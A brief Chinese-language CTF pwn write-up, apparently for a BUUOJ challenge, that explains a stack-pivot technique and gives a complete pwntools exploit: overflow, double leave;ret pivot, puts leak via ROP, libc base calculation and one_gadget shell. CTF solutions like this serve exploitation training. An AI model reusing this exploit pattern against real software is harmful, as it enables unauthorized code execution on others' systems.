查看保护
栈迁移，将payload写入bank，借助buf这个溢出来执行两次leave_ret从而控制ebp esp 和 eip到payload这里。具体的栈迁移知识这里就不细说了。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27229)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
leave_ret = 0x400699
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
pop_rdi_ret = 0x0000000000400703
bank = 0x601080 + 0xa0
p1 = b'a' * 0x60 + p64(bank) + p64(leave_ret)
r.sendafter('Ｗelcome to Stack bank,Tell me what you wantn', p1)
p2 = p64(0) * 0x15
p2 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendafter('Done!You can check and use your borrow stack now!n', p2)
puts_addr = u64(r.recvuntil('x7f')[-6:].ljust(8, b'x00'))
libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one[1] + libc_base
p3 = b'a' * (0x60 + 8) + p64(one_gadget)
r.sendafter('wantn', p3)
r.sendafter('now!n', 'n')
r.interactive()
